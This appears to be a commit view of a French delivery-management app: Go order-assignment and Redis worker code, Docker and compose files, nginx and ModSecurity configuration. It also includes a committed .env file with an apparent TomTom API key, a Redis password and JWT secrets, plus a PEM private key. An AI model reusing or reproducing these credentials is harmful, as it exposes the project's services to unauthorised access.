failedCount++
continue
}
// Tenter l'assignation
success := tryAssignCommandWithPriority(database, geoService, commandID, address, priority, int(waitingTime.Minutes()))
if success {
assignedCount++
} else {
failedCount++
}
// Petite pause entre les assignations
time.Sleep(500 * time.Millisecond)
}
log.Printf("✅ [CRON] === Cycle terminé: %d assignées, %d échouées, %d skipped ===",
assignedCount, failedCount, skippedCount)
}
// tryAssignCommandWithPriority tente d'assigner une commande avec info de priorité
func tryAssignCommandWithPriority(
database *db.Database,
geoService *services.GeoService,
commandID int,
address string,
priority int,
waitingMinutes int,
) bool {
log.Printf("🎯 [CRON] Traitement commande %d (priorité #%d, attente: %d min)",
commandID, priority, waitingMinutes)
// 1. Géocoder l'adresse
location, err := geoService.GeocodeAddress(address)
if err != nil {
log.Printf("❌ [CRON] Cmd %d - Géocodage échoué: %v", commandID, err)
return false
}
targetCoords := services.Coordinates{
Latitude: location.Latitude,
Longitude: location.Longitude,
}
// 2. Récupérer livreurs actifs
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
if err != nil || len(activeLivreurs) == 0 {
log.Printf("⚠️ [CRON] Cmd %d - Aucun livreur disponible", commandID)
return false
}
usernames := make([]string, len(activeLivreurs))
for i, livreur := range activeLivreurs {
usernames[i] = livreur.Username
}
// 3. Trouver le plus proche
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
if err != nil {
log.Printf("❌ [CRON] Cmd %d - Aucun livreur avec GPS", commandID)
return false
}
// 4. Calculer ETA
travelTime := nearest.EstimatedTime
distance := nearest.Distance
// Utiliser TomTom pour les commandes urgentes (> 30 min d'attente)
if waitingMinutes > 30 {
etaTraffic, distTraffic, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
if err == nil {
travelTime = etaTraffic
distance = distTraffic
log.Printf("🚨 [CRON] Cmd %d - Commande urgente, ETA précis calculé", commandID)
}
}
// 5. Assigner à la queue
err = database.AssignCommandToDeliverymanQueueWithCoords(
commandID,
nearest.Username,
travelTime,
location.Latitude,
location.Longitude,
address,
)
if err != nil {
log.Printf("❌ [CRON] Cmd %d - Assignation échouée: %v", commandID, err)
return false
}
// 6. Mettre à jour statut livreur
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
// 7. Log avec info de priorité
logMessage := fmt.Sprintf("Auto-assigné (CRON) à %s (%.2f km, ~%d min) | Priorité: #%d | Attente: %d min",
nearest.Username, distance, travelTime, priority, waitingMinutes)
database.AddCommandLog(commandID, "assigned", logMessage, "system-cron")
log.Printf("✅ [CRON] Cmd %d → %s (%.2f km) | Priorité #%d | Attente: %d min",
commandID, nearest.Username, distance, priority, waitingMinutes)
return true
}
+315
View File
@@ -0,0 +1,315 @@
// ============================================
// workers/redis_worker.go - TÂCHES ARRIÈRE-PLAN
// ============================================
package workers
import (
"encoding/json"
"gestion/db"
"log"
"time"
)
// ============================================
// WORKER PRINCIPAL
// ============================================
// StartRedisWorkers démarre tous les workers Redis
func StartRedisWorkers(database *db.Database) {
log.Println("🚀 Démarrage des workers Redis...")
// Worker pour les notifications programmées
go NotificationWorker(database)
// Worker pour l'auto-assignation des commandes
go AutoAssignWorker(database)
// Worker pour le nettoyage des réservations expirées
go StockCleanupWorker(database)
// Worker pour la synchronisation des points
go PointsSyncWorker(database)
log.Println("✅ Tous les workers Redis sont démarrés")
}
// ============================================
// WORKER NOTIFICATIONS
// ============================================
// NotificationWorker traite les notifications programmées
func NotificationWorker(database *db.Database) {
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
log.Println("📢 Worker Notifications démarré (check toutes les 30s)")
for range ticker.C {
err := database.ProcessScheduledNotifications()
if err != nil {
log.Printf("⚠️ Erreur traitement notifications: %v", err)
}
}
}
// ============================================
// WORKER AUTO-ASSIGNATION
// ============================================
// AutoAssignWorker assigne automatiquement les commandes
func AutoAssignWorker(database *db.Database) {
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
log.Println("🤖 Worker Auto-Assignation démarré (check toutes les minutes)")
for range ticker.C {
nextCommand, err := database.GetNextCommandInQueue()
if err != nil {
continue // Pas de commande
}
shouldAssign := false
if shouldAssign {
err = database.AutoAssignCommand(nextCommand.CommandID)
if err != nil {
log.Printf("⚠️ Échec auto-assignation commande %d: %v",
nextCommand.CommandID, err)
} else {
log.Printf("✅ Commande %d auto-assignée", nextCommand.CommandID)
database.RemoveCommandFromQueue(nextCommand.CommandID)
}
}
}
}
// ============================================
// WORKER NETTOYAGE STOCK
// ============================================
// StockCleanupWorker nettoie les réservations expirées
func StockCleanupWorker(database *db.Database) {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
log.Println("🧹 Worker Nettoyage Stock démarré (check toutes les 5 min)")
for range ticker.C {
cleanedCount := 0
// Récupérer toutes les clés de réservation
keys, err := db.Redis.Keys(db.RedisCtx, "stock:reserve:*").Result()
if err != nil {
log.Printf("⚠️ Erreur récupération réservations: %v", err)
continue
}
for _, key := range keys {
// Vérifier si la réservation est expirée
ttl, err := db.Redis.TTL(db.RedisCtx, key).Result()
if err != nil {
continue
}
// Si TTL <= 0, la réservation est expirée
if ttl <= 0 {
// Redis va automatiquement supprimer la clé
// Mais on peut log pour traçabilité
cleanedCount++
}
}
if cleanedCount > 0 {
log.Printf("🧹 %d réservations de stock expirées nettoyées", cleanedCount)
}
}
}
// ============================================
// WORKER SYNCHRONISATION POINTS
// ============================================
// PointsSyncWorker synchronise les points Redis avec la DB
func PointsSyncWorker(database *db.Database) {
ticker := time.NewTicker(10 * time.Minute)
defer ticker.Stop()
log.Println("🔄 Worker Synchronisation Points démarré (check toutes les 10 min)")
for range ticker.C {
syncedCount := 0
// Récupérer toutes les clés de points
keys, err := db.Redis.Keys(db.RedisCtx, "client:points:*").Result()
if err != nil {
log.Printf("⚠️ Erreur récupération points: %v", err)
continue
}
for _, key := range keys {
// Extraire le username
username := key[len("client:points:"):]
// Récupérer les points depuis Redis
points, err := db.Redis.Get(db.RedisCtx, key).Int()
if err != nil {
continue
}
// Mettre à jour dans la DB principale
err = database.AddClientPoints(username, points)
if err != nil {
log.Printf("⚠️ Erreur sync points pour %s: %v", username, err)
continue
}
// Réinitialiser dans Redis après sync
db.Redis.Set(db.RedisCtx, key, 0, 0)
syncedCount++
}
if syncedCount > 0 {
log.Printf("🔄 %d comptes clients synchronisés avec la DB", syncedCount)
}
}
}
// ============================================
// WORKER MISE À JOUR ETA
// ============================================
// ETAUpdateWorker met à jour automatiquement les ETAs
func ETAUpdateWorker(database *db.Database) {
ticker := time.NewTicker(2 * time.Minute)
defer ticker.Stop()
log.Println("⏱️ Worker Mise à Jour ETA démarré (check toutes les 2 min)")
for range ticker.C {
// Récupérer toutes les commandes en cours de livraison
commands, err := database.GetAllCommands("support", "")
if err != nil {
continue
}
for _, command := range commands {
commandID := command["id"].(int)
// Recalculer l'ETA basé sur la position du livreur
// (logique à implémenter selon vos besoins)
// Exemple: réduire l'ETA de 2 minutes
// database.SetCommandETA(commandID, newETA)
log.Printf("🔄 ETA mis à jour pour commande %d", commandID)
}
}
}
// ============================================
// WORKER ALERTES RETARD
// ============================================
// DelayAlertWorker envoie des alertes en cas de retard
func DelayAlertWorker(database *db.Database) {
ticker := time.NewTicker(3 * time.Minute)
defer ticker.Stop()
log.Println("⚠️ Worker Alertes Retard démarré (check toutes les 3 min)")
for range ticker.C {
// Récupérer les ETAs de toutes les commandes
keys, err := db.Redis.Keys(db.RedisCtx, "command:eta:*").Result()
if err != nil {
continue
}
for _, key := range keys {
data, err := db.Redis.Get(db.RedisCtx, key).Result()
if err != nil {
continue
}
// Désérialiser le JSON dans eta
var eta map[string]interface{}
if err := json.Unmarshal([]byte(data), &eta); err != nil {
log.Printf("⚠️ Impossible de parser ETA pour %s: %v", key, err)
continue
}
// Extraire l'heure d'arrivée
arrivalTimeFloat, ok := eta["arrival_time"].(float64)
if !ok {
continue
}
arrivalTime := int64(arrivalTimeFloat)
// Vérifier retard
now := time.Now().Unix()
if now > arrivalTime {
commandIDFloat, ok := eta["command_id"].(float64)
if !ok {
continue
}
commandID := int(commandIDFloat)
delay := (now - arrivalTime) / 60 // en minutes
log.Printf("⚠️ ALERTE: Commande %d en retard de %d minutes", commandID, delay)
// Notifier l'admin
database.PublishCommandEvent(commandID, "delay_alert", "Commande en retard")
if delay > 15 {
command, _ := database.GetCommandByID(commandID)
if livreur, ok := command["livreur_assign"].(string); ok {
log.Printf("⚠️ Pénalité appliquée au livreur %s", livreur)
}
}
}
}
}
}
// ============================================
// WORKER STATISTIQUES TEMPS RÉEL
// ============================================
// StatsWorker calcule des statistiques en temps réel
func StatsWorker(database *db.Database) {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
log.Println("📊 Worker Statistiques démarré (check toutes les 5 min)")
for range ticker.C {
// Nombre de commandes en attente
queueSize, _ := db.Redis.ZCard(db.RedisCtx, "queue:pending:sorted").Result()
// Nombre de livreurs disponibles
livreurs, _ := database.GetAvailableDeliveryPersonsRedis()
availableCount := len(livreurs)
// Nombre de livraisons en cours
commands, _ := database.GetAllCommands("support", "")
inProgressCount := len(commands)
stats := map[string]interface{}{
"queue_size": queueSize,
"available_drivers": availableCount,
"in_progress": inProgressCount,
"timestamp": time.Now().Unix(),
}
// Stocker dans Redis
db.Redis.HSet(db.RedisCtx, "stats:realtime",
"queue_size", stats["queue_size"],
"available_drivers", stats["available_drivers"],
"in_progress", stats["in_progress"],
"timestamp", stats["timestamp"],
)
log.Printf("📊 Stats: %d en attente | %d livreurs dispo | %d en cours",
queueSize, availableCount, inProgressCount)
}
}
+18
View File
@@ -0,0 +1,18 @@
DB_HOST=postgres
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=votre_mot_de_passe
DB_NAME=gestion_db
DB_SSLMODE=disable
SESSION_SECRET=votre_secret_session_tres_long_et_securise
USER_JWT_SECRET=dsfljdsjfljsldfjlsd
USER_JWT_SECRET_OLD=dsfljdsjfljsldfjlsd
ADMIN_JWT_SECRET=dsfljdsjfljsldfjlsd
ADMIN_JWT_SECRET_OLD=dsfljdsjfljsldfjlsd
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=dndsjvnsdnvjsvdnjsvdn
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
API_PORT=8080
FRONTEND_PORT=5173
GIN_MODE=release
+56
View File
@@ -0,0 +1,56 @@
FROM golang:1.24-alpine AS builder
WORKDIR /app
# Installer les dépendances système
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
# Copier go mod files
COPY backend/backend/gestion/go.mod backend/backend/gestion/go.sum ./
# Configurer Go et télécharger les dépendances
ENV GOPROXY=https://proxy.golang.org,direct
ENV GOSUMDB=sum.golang.org
ENV CGO_ENABLED=0
# Télécharger les dépendances
RUN go mod download
# Copier tout le code source
COPY backend/backend/gestion/ .
# Build le binaire
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
-o /app/server .
# =========================================================
# Stage 2: Runtime
# =========================================================
FROM alpine:latest
# Installer les dépendances runtime
RUN apk --no-cache add ca-certificates tzdata wget
# Créer l'utilisateur avec UID/GID fixes
RUN addgroup -g 1000 app && adduser -u 1000 -S app -G app
WORKDIR /app
# Copier le binaire et les fichiers nécessaires
COPY --from=builder /app/server .
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
# Copier l'entrypoint
COPY docker/docker/backend/entrypoint.sh .
RUN chmod +x entrypoint.sh
# ✅ Créer le dossier uploads et donner ownership AVANT de changer d'utilisateur
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
chown -R app:app /app
# Passer à l'utilisateur non-root
USER app
EXPOSE 8080
ENTRYPOINT ["./entrypoint.sh"]
+16
View File
@@ -0,0 +1,16 @@
#!/bin/sh
set -e
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
# Puis créer les sous-dossiers
if [ ! -d "/app/uploads" ]; then
mkdir -p /app/uploads
fi
# Créer les sous-répertoires
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
echo "✅ Répertoires uploads prêts"
# Lancer l'application
exec ./server
+132
View File
@@ -0,0 +1,132 @@
services:
# =========================================================
# Backend Go
# =========================================================
backend:
build:
context: ../..
dockerfile: docker/docker/backend/Dockerfile
container_name: gestion-backend
restart: unless-stopped
environment:
- DB_HOST=${DB_HOST:-postgres}
- DB_PORT=${DB_PORT:-5432}
- DB_USER=${DB_USER:-postgres}
- DB_PASSWORD=${DB_PASSWORD}
- DB_NAME=${DB_NAME:-gestion_db}
- DB_SSLMODE=${DB_SSLMODE:-disable}
- SESSION_SECRET=${SESSION_SECRET}
- USER_JWT_SECRET=${USER_JWT_SECRET}
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
- REDIS_HOST=${REDIS_HOST:-redis}
- REDIS_PORT=${REDIS_PORT:-6379}
- REDIS_PASSWORD=${REDIS_PASSWORD}
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
- API_PORT=${API_PORT:-8080}
volumes:
- backend_uploads:/app/uploads
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
# =========================================================
# Frontend Nginx + ModSecurity
# =========================================================
frontend:
build:
context: ../..
dockerfile: docker/docker/frontend/Dockerfile
container_name: gestion-frontend
restart: unless-stopped
environment:
- DISABLE_MODSEC_ENV_SUBST=true
- PARANOIA=2
- ANOMALY_INBOUND=5
- ANOMALY_OUTBOUND=4
- BACKEND_HOST=backend
- BACKEND_PORT=${API_PORT:-8080}
ports:
- "80:80"
networks:
- gestion-network
# =========================================================
# PostgreSQL
# =========================================================
postgres:
image: postgres:16-alpine
container_name: gestion-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=${DB_USER:-postgres}
- POSTGRES_PASSWORD=${DB_PASSWORD}
- POSTGRES_DB=${DB_NAME:-gestion_db}
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- postgres_data:/var/lib/postgresql/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s
# =========================================================
# Redis
# =========================================================
redis:
image: redis:7-alpine
container_name: gestion-redis
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--appendonly yes
--appendfsync everysec
--maxmemory 256mb
--maxmemory-policy allkeys-lru
volumes:
- redis_data:/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD",
"redis-cli",
"--no-auth-warning",
"-a",
"${REDIS_PASSWORD}",
"ping",
]
interval: 10s
timeout: 3s
retries: 5
start_period: 10s
networks:
gestion-network:
driver: bridge
internal: false
driver_opts:
com.docker.network.bridge.name: gestion-br0
volumes:
postgres_data:
driver: local
redis_data:
driver: local
backend_uploads:
driver: local
+134
View File
@@ -0,0 +1,134 @@
services:
# =========================================================
# Backend Go
# =========================================================
backend:
build:
context: ..
dockerfile: docker/backend/Dockerfile
container_name: gestion-backend
restart: unless-stopped
environment:
- DB_HOST=${DB_HOST:-postgres}
- DB_PORT=${DB_PORT:-5432}
- DB_USER=${DB_USER:-postgres}
- DB_PASSWORD=${DB_PASSWORD}
- DB_NAME=${DB_NAME:-gestion_db}
- DB_SSLMODE=${DB_SSLMODE:-disable}
- SESSION_SECRET=${SESSION_SECRET}
- USER_JWT_SECRET=${USER_JWT_SECRET}
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
- REDIS_HOST=${REDIS_HOST:-redis}
- REDIS_PORT=${REDIS_PORT:-6379}
- REDIS_PASSWORD=${REDIS_PASSWORD}
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
- API_PORT=${API_PORT:-8080}
ports:
- "${API_PORT:-8080}:8080"
volumes:
- backend_uploads:/app/uploads
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
# =========================================================
# Frontend Nginx + ModSecurity
# =========================================================
frontend:
build:
context: ..
dockerfile: docker/frontend/Dockerfile
container_name: gestion-frontend
restart: unless-stopped
environment:
- MODSEC_RULE_ENGINE=On
- PARANOIA=2
- ANOMALY_INBOUND=5
- ANOMALY_OUTBOUND=4
- BACKEND_PORT=${API_PORT:-8080}
ports:
- "80:80"
networks:
- gestion-network
# =========================================================
# PostgreSQL
# =========================================================
postgres:
image: postgres:16-alpine
container_name: gestion-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=${DB_USER:-postgres}
- POSTGRES_PASSWORD=${DB_PASSWORD}
- POSTGRES_DB=${DB_NAME:-gestion_db}
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- postgres_data:/var/lib/postgresql/data
ports:
- "${DB_PORT:-5432}:5432"
networks:
- gestion-network
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s
# =========================================================
# Redis
# =========================================================
redis:
image: redis:7-alpine
container_name: gestion-redis
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--appendonly yes
--appendfsync everysec
--maxmemory 256mb
--maxmemory-policy allkeys-lru
volumes:
- redis_data:/data
ports:
- "${REDIS_PORT:-6379}:6379"
networks:
- gestion-network
healthcheck:
test:
[
"CMD",
"redis-cli",
"--no-auth-warning",
"-a",
"${REDIS_PASSWORD}",
"ping",
]
interval: 10s
timeout: 3s
retries: 5
start_period: 10s
networks:
gestion-network:
driver: bridge
volumes:
postgres_data:
driver: local
redis_data:
driver: local
backend_uploads:
driver: local
+48
View File
@@ -0,0 +1,48 @@
# =========================================================
# Stage 1: Build Frontend
# =========================================================
FROM node:20-alpine AS builder
WORKDIR /build
# Copier package files depuis frontend-prep
COPY frontend/frontend-prep/package*.json ./
# Installer les dépendances
RUN npm ci
# Copier le code source
COPY frontend/frontend-prep/ .
# Build
RUN npm run build
# =========================================================
# Stage 2: Nginx + ModSecurity
# =========================================================
FROM owasp/modsecurity-crs:nginx-alpine
USER root
# Copier build frontend
COPY --from=builder /build/dist /usr/share/nginx/html
#COPY docker/frontend/cert/cert.pem /etc/nginx/certs/cert.pem
#COPY docker/frontend/cert/key.pem /etc/nginx/certs/key.pem
#RUN chown root:nginx /etc/nginx/certs/cert.pem /etc/nginx/certs/key.pem && \
# chmod 644 /etc/nginx/certs/cert.pem && \
# chmod 640 /etc/nginx/certs/key.pem
# Logs ModSecurity
RUN mkdir -p /var/log/modsec && chown -R nginx:nginx /var/log/modsec
COPY docker/docker/frontend/nginx.conf /etc/nginx/conf.d/app.conf
COPY docker/docker/frontend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf
RUN rm -f /etc/nginx/templates/conf.d/default.conf.template || true
RUN chown -R nginx:nginx /usr/share/nginx/html
USER nginx
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
+49
View File
@@ -0,0 +1,49 @@
# =========================================================
# Stage 1: Build Frontend
# =========================================================
FROM node:20-alpine AS builder
WORKDIR /build
COPY frontend-prep/package*.json ./
RUN npm ci --only=production
COPY frontend-prep .
RUN npm run build && ls -la dist/
# =========================================================
# Stage 2: Nginx + ModSecurity
# =========================================================
FROM owasp/modsecurity-crs:nginx-alpine
USER root
# Copier le frontend build
COPY --from=builder /build/dist /usr/share/nginx/html
# Configs Nginx / ModSecurity
COPY docker/frontend/nginx.conf.prod /etc/nginx/conf.d/app.conf
COPY docker/frontend/main.conf /etc/nginx/modsec/main.conf
COPY docker/frontend/ban-on-crs-scores-delivery-api.conf /etc/nginx/modsec/ban-on-crs-scores-delivery-api.conf
COPY docker/frontend/crs-setup.conf /etc/nginx/modsec/crs-setup.conf
# Supprimer template par défaut
RUN rm -f /etc/nginx/templates/conf.d/default.conf.template || true
# Variables ModSecurity
ENV MODSEC_ENGINE=On \
PARANOIA=2 \
ANOMALY_INBOUND=5 \
ANOMALY_OUTBOUND=4
# Permissions
RUN chown -R nginx:nginx /usr/share/nginx/html \
&& mkdir -p /etc/letsencrypt \
&& chown -R nginx:nginx /etc/letsencrypt
USER nginx
EXPOSE 80 443
STOPSIGNAL SIGQUIT
CMD ["nginx", "-g", "daemon off;"]
+24
View File
@@ -0,0 +1,24 @@
-----BEGIN CERTIFICATE-----
MIIECjCCAnKgAwIBAgIQQesYDZxq7zMlKT1zztYmUDANBgkqhkiG9w0BAQsFADBh
MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExGzAZBgNVBAsMEnhvcl9m
YWtlcnNAQXN1c1hvcjEiMCAGA1UEAwwZbWtjZXJ0IHhvcl9mYWtlcnNAQXN1c1hv
cjAeFw0yNjAxMjAwODQxNDhaFw0yODA0MjAwNzQxNDhaMEYxJzAlBgNVBAoTHm1r
Y2VydCBkZXZlbG9wbWVudCBjZXJ0aWZpY2F0ZTEbMBkGA1UECwwSeG9yX2Zha2Vy
c0BBc3VzWG9yMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4gjHuXBb
eRVHf29Lsn1JlFSHpSTsImMrjLHnUh0jCR+1i2xQ3GQVFJY8YLWvwJv64SnsDZBE
JBbSdsocfmJJl8mnW8INYgLqFBe/Cr/DFZqJcAcANVuxzjVpmWBqvLA3fYPKJHB3
66Lot6QZoObbvuOJpar+PubAiNVH6F/0ehy4O5daegfUlGxdZOTRsVhV8uwjH9+H
V8wL9ZyK8h6kl9VjQifP/FTdpaGhtkSoVHod/uynmVzF/PscTcUVwh+uQcqWj3fd
Itzcinj8K46xZLiFp/QHoz1kX/mDLtwbxbDAD9kGxf28J366VqyxJQzDjdvv/VYZ
QoEThibA34msTQIDAQABo1kwVzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYI
KwYBBQUHAwEwHwYDVR0jBBgwFoAUyPQyLZZ7Al7A1Dvf/5xLRLY9aDYwDwYDVR0R
BAgwBocErBSn7TANBgkqhkiG9w0BAQsFAAOCAYEAWVgf0e/30255rHo8Z3/35YBE
Hrauwf8ef+aGVB+cLk2p1+UiYOgzvXKOeRP+9AVaASPg/mB7yA17DVrClWW7QjpU
iBkVCP6AsOlMVTPfKrKUucrWtac337TTleAMgtSjeApfdHbd3D4imilc16GLzVOG
9CKuvx6hJam4Bo4BfsO8TWh6F2hWxJL1dtY0d65ceBC40FXfowdJARgD85XCbJnY
4i/Twu80Hgrhok+CVDdH49DgMvUifckdsFCKqigZpJPRhGfbzfT61ysVcCXXsmj/
yFPo71zE5bq4T2ig+zGDbt64C+tP6a0P643SEnzyfEiUVTCWfIcrE17bSapzl5oa
PYSDkbC/OKoXsvvfVwDljNY0qXHTVjoTw6/8cXSAomZAaTAWZGkAWYBZEFpyEYu/
aBRDw5T/qo2N2xOt3NrmmWmkU8cFF8oESk5GJDoFFO/yp9MEvANWq6OQ4PZVEsdN
VtqzP07AD88B7kkD6qn8pSp8yZBYoL+Qk4d93HPg
-----END CERTIFICATE-----
+28
View File
@@ -0,0 +1,28 @@
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDiCMe5cFt5FUd/
b0uyfUmUVIelJOwiYyuMsedSHSMJH7WLbFDcZBUUljxgta/Am/rhKewNkEQkFtJ2
yhx+YkmXyadbwg1iAuoUF78Kv8MVmolwBwA1W7HONWmZYGq8sDd9g8okcHfroui3
pBmg5tu+44mlqv4+5sCI1UfoX/R6HLg7l1p6B9SUbF1k5NGxWFXy7CMf34dXzAv1
nIryHqSX1WNCJ8/8VN2loaG2RKhUeh3+7KeZXMX8+xxNxRXCH65BypaPd90i3NyK
ePwrjrFkuIWn9AejPWRf+YMu3BvFsMAP2QbF/bwnfrpWrLElDMON2+/9VhlCgROG
JsDfiaxNAgMBAAECggEAB2kzyTH0odPvh+9Ze0Tt1mnuF51OC7OWMDL+C1xus2Qh
gux+ezdh1I63dJFIbad/koXaGji+bzN7W481X3RwBsTDErhaUXoYfCeqKRtP9WOf
eXeVS2qR+hmYuIFnhn+9lgUt6cNxPx3UhP7hozumfUv/DZo9Y0kUC3h4ttb8kEtU
ePfv0RledHKOEM35zvhvVTpyF4LfvnMyu/E+hJp2kIptPZ5DEsvXT3CsLCNGOWmt
HZlvVihQ0dtUp1FjDQsiwB8zSErQkZDTv8L0OvBvVyFqhhP/KReZi2pCTsBSYcYU
MGmZanqg1mLCqVDVPnaquCcuo39DCfETXNS4OFK4qQKBgQD8tsmwXtU0ai4ryVne
SOOJiCQFsGfZgxuSJ7XPWj8BnLSs0pi3ddEdJQvkj7z43iZ4AaW2VX9abQkZhlNv
v1Y80+MBTwCSM6CZLzCYWMnzRNY1hUR6bwQa/x5JyXU0sbx3B/GCH9hvhjWn9Dit
uphoPgC8ryKy26de7E5FKIfzFQKBgQDk+S7oUoQFXZ7YAIIXXVjp4nQVdU8zb7nW
B+yxyE5L+q6afgi2w9Jmm7DrQAg5GuY+3xlhICol/oxLb6nWkX5C2FTYTFaqSi5B
rZVqD6D/WGosNzwbcgai4TjmiJ81ssVwMuizQLksOPexuVYDUikofaWsF1G/E5af
rGRJbuACWQKBgQCwMNCVgsiq7oyaQpvBepgJPz2+Kat93wbN85myo3ziJttg0sNe
xWmyJC4SgJSD/n5blOpwIVPVO8foX9q0QnZhmmjedLI1PIFvy5LZ5K2ISin+zpdb
tSLrn4sCbs6kmnaHlqYuzv0bZDrsij0qArpXk0L4SjKq+LHMYHyBgyylsQKBgBHI
kK4Wio5oIQghsfjilR9FKULpY4dZLBPFdcqxBfO8uobhNwgK2XKCsRD0Xi8hObS0
WyJB/0QIKxlIyOYTUr0aVCygcTK0pDcRpkMgh56NXWGlwJNZHc7Uszikb8kZ41+9
dHlHk5otqn8xJ88GOJAeghmFjiHLAa3RE9DoPZmxAoGAC2sRi0M7pr6TV7Pz1f8S
DUy+iout42FNKCt00J2C7TxoTsKsWH4UKL0mqqanOr7vb0Wkow6nH7xT8u4DUGsA
oXfJqcGShNaG/XYFo5TaVC4k7rZY87+P12429J42uXVtGgjCR3lE53CdS3bY0tl5
OG0lgtOwXaXbU53BuLCbndU=
-----END PRIVATE KEY-----
+59
View File
@@ -0,0 +1,59 @@
SecRule IP:BANNED "@eq 1" \
"id:100000,phase:1,deny,status:403,log,\
msg:'IP is banned'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:100099,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
SecRule TX:SQL_INJECTION_SCORE "@ge 5" \
"id:100001,phase:2,deny,status:403,log,\
msg:'SQL Injection detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:XSS_SCORE "@ge 5" \
"id:100010,phase:2,deny,status:403,log,\
msg:'XSS detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:RCE_SCORE "@ge 5" \
"id:100020,phase:2,deny,status:403,log,\
msg:'RCE detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=259200'"
SecRule TX:LFI_SCORE "@ge 5" \
"id:100030,phase:2,deny,status:403,log,\
msg:'LFI detected',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule TX:INBOUND_ANOMALY_SCORE "@ge 20" \
"id:100060,phase:2,deny,status:403,log,\
msg:'Critical anomaly score',\
setvar:'ip.banned=1',expirevar:'ip.banned=172800'"
SecRule REQUEST_URI "@streq /api/v1/panier/remove" \
"id:399010,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v1/panier/clear" \
"id:399011,phase:1,nolog,pass,\
ctl:ruleRemoveById=911100,ctl:ruleRemoveById=920350"
SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
"id:399001,phase:2,nolog,pass,\
ctl:ruleRemoveById=932235"
SecAction \
"id:400161,phase:1,nolog,pass,\
setvar:'ip.request_window_1sec=+1',\
expirevar:'ip.request_window_1sec=1'"
SecRule IP:REQUEST_WINDOW_1SEC "@gt 20" \
"id:400160,phase:1,deny,status:429,log,\
msg:'Too many requests'"
SecRule IP:REPUTATION_SCORE "@ge 100" \
"id:409999,phase:1,deny,status:403,log,\
msg:'Critical reputation score',\
setvar:'ip.blocked=1',expirevar:'ip.blocked=86400'"
File diff suppressed because it is too large Load Diff
+101
View File
@@ -0,0 +1,101 @@
# =========================================================
# Request ID for correlation
# =========================================================
map $http_x_request_id $req_id {
default $http_x_request_id;
"" $request_id;
}
# =========================================================
# Upstream backend
# =========================================================
upstream backend {
server backend:8080 max_fails=3 fail_timeout=30s;
keepalive 32;
keepalive_requests 100;
keepalive_timeout 60s;
}
# =========================================================
# HTTP Server (MAIN)
# =========================================================
# Supprime le premier server block et garde seulement :
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
index index.html;
client_max_body_size 10M;
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/custom-rules.conf;
location /api/ {
limit_except GET POST PUT PATCH DELETE OPTIONS { deny all; }
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Origin' "$http_origin" always;
